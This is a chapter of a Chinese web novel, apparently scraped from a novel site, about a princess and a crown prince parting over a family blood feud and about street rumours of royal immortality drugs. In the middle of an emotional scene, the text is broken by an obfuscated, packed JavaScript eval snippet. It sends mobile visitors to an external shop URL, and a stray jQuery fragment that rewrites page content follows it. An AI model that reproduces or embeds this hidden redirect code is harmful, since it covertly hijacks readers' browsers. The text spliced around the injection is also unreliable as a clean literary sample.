文趣网 > 其他小说 > 女主她青云直上 > 56. 第 56 章
    延安三年春,成为废墟的京城又在一场春雨中重焕生机。

    只剩了那淑珍坊,断壁残垣立在那头,无人问津。

    太子颁布了太上皇的罪己诏,城外贴了黄榜,上头是密密麻麻的罪行,黄榜前头痛哭的人数不胜数,一时间皇家名声狼藉,段琅的皇位摇摇欲坠。

    程鸢每日看着太宸殿来来往往的红袍官服,心里担忧更甚。

    “殿下,京城谣言四起,说皇家遭天地惩罚,秋收之时已有预兆。如今您在这关头宣布罪己诏,更是人心惶惶。”

    “殿下,臣认为,当下当以安抚民心为首要,逆党可延至秋后问斩。”

    程鸢坐在偏殿里间,听到殿内那头细小的说话声。

    段琅语气平淡,丝毫不在乎,“外头说的难道不是真的?既是真的又为何阻拦?”

    大臣无奈,“皇家无威严,不能服众,皇家不能服众则规矩无人遵从。若此时外敌来扰,恐有灭国之祸。”

    程鸢抿唇,慢慢半掩在门框后,看着段琅平淡的模样,心里却是疑惑。

    惠妃母女为了程鸢和段琅的谣言除了不少力,虽二人已入狱。可谣言已经传了出去,不过是内乱在前暂且搁置了下来。

    如今天谴人怨一同爆了出来,段琅这个储君之位……

    “好了,妖言惑众,我天启绵延千年,岂是此等市井小人能够覆灭的?”

    众大臣无法,只得满脸怒意拂袖而去。

    “太上皇圣旨有言,有天降明主将在日月……”

    程鸢缩了回去,背对着他们,耳中传来他们忍怒的咒骂声越来越远,后面已经听不太清了。

    她没做多想,抬步走进里头,见段琅斜倚在龙椅上,指腹摁在额头上轻轻揉捏着。

    程鸢轻声走到了他身侧,替下了他的位置。

    “偷听非君子所为。”段琅缓缓睁开眼睛,朝着程鸢看去,扬起笑容把她拉入怀中,寻了那红唇慢捻着。

    程鸢明明看清楚他眼中的欲望,不明白他为何不愿意继续下去。

    她突然问道:“爷何时娶我?”

    程鸢突兀的话,让段琅恍惚了一瞬,“我以为你不会愿意嫁给我。”

    “你会觉得我因为生母的血仇而拒绝你?”

    若真要拒绝,若真舍得拒绝,当时知晓真相的那可以便与他分开了。

    段琅指尖缩了缩,转头直勾勾地看着她,心口密密地泛着疼。

    “是,若没有这事,从我监国遣散了东宫开始,我便会立你为太子妃。”

    “但我现在不愿。”

    程鸢眨了眨眼,攥紧拳头,握住手心的冰凉。

    “为何不愿?”

    段琅说得坦然,大掌抚摸着她娇嫩的脸颊。

    “我不愿日后同床共枕午夜梦回时,身旁的人时时刻刻提醒着我,我与她有跨不过去的仇恨。”

    “那样太累了,我只想顺心如意地活下去。”

    程鸢眼泪倏地掉落了下来,“从知道真相的那一刻你为何不说?”

    眼泪大颗掉落,烫得段琅缩回了手。

    “因为那时我还爱着你。”

    段琅只感觉胸口传来窒息般的疼痛,已经分不清是她的还是自己的。

    程鸢轻轻擦去脸上的泪痕,看着他逃避的模样,想要质问的话,尽数咽了下去。

    “所以现在不愿,就是不爱了?”

    程鸢起身,看着段琅眼中一闪而过的慌乱,俯身吻了上去。

    “可我爱你,就算与你在一起会受万人唾骂,就算我们之间有化不开的仇恨,我还是要告诉你,我爱你。”

    “但我知晓,这不是我一个人能决定的,我没办法强迫你,所以我选择尊重你的选择。”

    程鸢再次起身,她定神深深望了他一眼,转身往殿外走去,再未回头。

    随着殿门再次关闭,段琅额间青筋暴起,他痛苦地靠在桌沿,大口大口呕着鲜血。

    许久,直到唇瓣被血染得通红,他仰躺在龙椅上,抬臂遮住眉眼,低低抽泣了起来。

    二人素来如胶似漆的模样,如今只些微变化,都让人瞧了个清楚。

    善禧心里有些不安,“皇后娘娘,如若奴婢去问问?”

    皇后虽然疑惑,但也没当回事,“他俩年岁尚小,一些小摩擦便不必管了。放心吧,照以往怀玉那没出息的模样,晚间便要去哄袅袅了。”

    善禧虽有些忧虑,听了这话也放下心来,当即没再多言。

    可当日晚膳时间,程鸢提了辞行,说要回她公主府去,众人这才回过味来。

    皇后咬着筷子,看了眼一言不发的段琅,皱眉问道:“可是有人欺负袅袅了?”

    她说着,还朝着段琅狠狠地剜了一眼。

    程鸢心里一暖,鼻尖又莫名酸了起来。

    她连忙低头,拿了帕子给宝珠擦着嘴巴,才没在众人面前丢了脸。

    “如今内乱结束了,外头都在传哥哥与袅袅的谣言,袅袅怕影响了哥哥,这便避开了去。”

    皇后还没说话,一旁靠在太师椅上,面色泛青的延安帝冷嗤了一声。

    “如今知道避嫌了?早干什么去了?”

    他说完冷冷看着段琅,“各部大臣的折子都递到朕面前来了,你到底是什么打算!”

    都不吃饭,只段琅吃得欢喜。

    他无所谓道:“谣言又何须理会?”

    “谁能载舟,亦能覆舟。你还未至高位,便被浮云遮了眼了?”

    “你如今也生不了了,那位置除了我,你还想给谁?”

    段琅接过青山递过来的茶漱了漱口。

    “内乱之人,立夏之日午门满门抄斩,父皇若是还有话要和他说,可得抓紧时间了。”

    段琅拿了帕子擦了擦嘴,扔在桌面上,起身后头也不回地离开,离开时只余光扫了程鸢一眼。

    皇后见他这目中无人的模样,顿时瞪大了眼睛。

    她突然胸口起伏了起来,倏地站直了身子,“果然皇位就不是个好东西!”

    延安帝本还对段琅有怒意听了她这话顿时歇了下去,连忙滚着轮椅朝她追了上去。

    一桌珍馐美味被搁置在这,程鸢食不下咽,只有宝珠一个不能吃的,眼巴巴望着,馋得直流口水。

    善禧思忖片刻,上前小声说道:“公主殿下可是和太子殿下闹别扭了?”

    程鸢吸了吸鼻子,摇头说道:“不一样的,嬷嬷,我要走了。”

    善禧面上着急了起来,“公主!您二人好不容易走到现在,如今太子殿下监国,再无人能阻止你们了,这又是怎的了?”

    程鸢想起他冷漠的模样,摇头不愿再提。

    “程鸢怕是要辜负嬷嬷一片苦心了。我早些时候便与母后说好了,您女儿日后便跟着宝珠公主,她定不会受人欺辱。”

    善禧无奈叹了口气,“公主放心便是,太子殿下下了旨意,等立夏以后便招她进宫了。”

    程鸢顿了顿,“嗯,嬷嬷年纪也大了,莫要太过操劳了。”

    善禧看着她这模样,一路走来也不是全然没有感情。

    她抬手下意识伸上去摸了摸她脑袋,等回过神来,才立马屈身请罪。

    “奴婢该死……”

    话音未落,程鸢抬手扑进她怀中,埋在她怀里抽泣了起来。

    “嬷嬷,你说我娘真的希望我出生吗?”

    “或许我就不该活着,可我娘还惦记着宋府,如今这么多日过去了,程国公入狱,我给他开了门,宋府便当什么都不知晓一般,一点动静都没有。”

    “他当真是我娘的亲爹么?”

    程鸢说着,搂着她腰的手臂越收越紧。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952046|214170||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    善禧无措举着手,片刻后软了神色,抬手覆在她头顶上,轻轻地抚摸着。

    “他若不来见你,公主为何不去见见他?”

    程鸢僵了一瞬,茫然抬头:“嬷嬷是说……”

    善禧笑得慈祥,“去见见,总比平白在这猜测得好。”

    程鸢思忖片刻,缓缓起身,嘴角扬起了笑容。

    “谢谢嬷嬷,我知道了。”

    她抬手用力抱了下善禧,随后凑过去使劲亲哭了宝珠,才提了裙子跑开。

    “这孩子!”

    善禧哭笑不得,连忙弯腰把宝珠抱了起来,边走边哄着。

    这头的程鸢也没耽搁,当即就下令出了府。

    可在马车上时,又踌躇了起来,“青山,先回公主府。”

    青山看着近在咫尺的宋府,虽疑惑,但也没有多问,立马调转了方向。

    程鸢本为宋家烦恼,可这一路听到的闲言碎语,却让她面色凝重了起来。

    “你听说了吗?这段家里面有妖怪,吃人血肉长生呢!”

    “胡说什么,你不要命啦!”

    “害,你看着我干什么!”说话那人拿着刀砍在砧板上,大声嚷嚷。

    “你可知当初秋收,三王谋反时,传出来的话?”

    “别卖关子了!快说快说!”

    四周商贩被勾起了好奇心,纷纷停了手中的活,围了上去。

    卖猪肉的一看这么多人围着自己,立马昂首挺胸了起来。

    “那七王曾说了一句话,说太上皇和先太子服用禁药!”

    四周一片哗然,围得人越来越多。

    程鸢在不远处看着凑在一堆的人群,让青山停了马车,尖着耳朵听着。

    “害!荒性无度能不用药吗!这算什么事!”

    “就是就是,你别说后宫那么多人,你瞧瞧那红楼,有谁是不用药的!”

    “就是就是,走吧走吧,没意思,还以为是什么消息呢!”

    四周之人唏嘘声,朝着卖猪肉的挥手,“行了,不知道就别瞎说,浪费老娘时间!”

    卖猪肉的瞧着围在自己身旁的人都撤退了,连忙脑子一热,梗着脖子说道:“那不是助兴的药!那是长生不老的药!”

    四周本已经走远的人,停在原地望了两眼便是哄堂大笑。

    “行了!你胡说什么呢!”

    “就是,还长生不老呢!要是长生不老,怎么皇家一个接一个的死了!”

    卖猪肉的见下面一团乱,没过脑子的就说道:“那是因为长生之能续几年啊!”

    “你们不想想,高宗因为□□后宫用的药杀了一批人,先帝也是,如今太上皇也是。”

    他越说越觉得有道理,“当今圣上与太子皆是胸口中箭未死,其实都是这药给他们续了命!”

    四周之人面面相觑,“你不要命了,你敢说皇家的事!”

    说话的人见人们害怕,还是不由自主围了上来,不由得站在椅子上,一脚踩在桌子上,说得更大声了。

    “皇家又如何!秋收打雷刮风下雨,就是太上皇给太子续命,被天神发现降下神罚!”

    “你们是不知道,那日秋收那可是乌云密布,电闪雷鸣!那祭台上全是尸体!”

    “你们说,祭台上告天地,几炷香的东西,用得着要这么多人性命吗!”

    底下人你望着我我望着你,顿时三三两两暗中窃窃私语。

    “这他没说谎,我敢保证,秋收我隔壁二叔他爹他媳妇的外甥就在那干活。”

    一石激起千层浪,人群中纷纷冒出了许多亲眼见证的人,慷慨激昂地说起了当时的真相。

    程鸢沉重地放下车帘子,让青山驾车离开。

    他们说得不一定准确,但自己的疼痛都要让段琅承受,这些事情又该如何解释?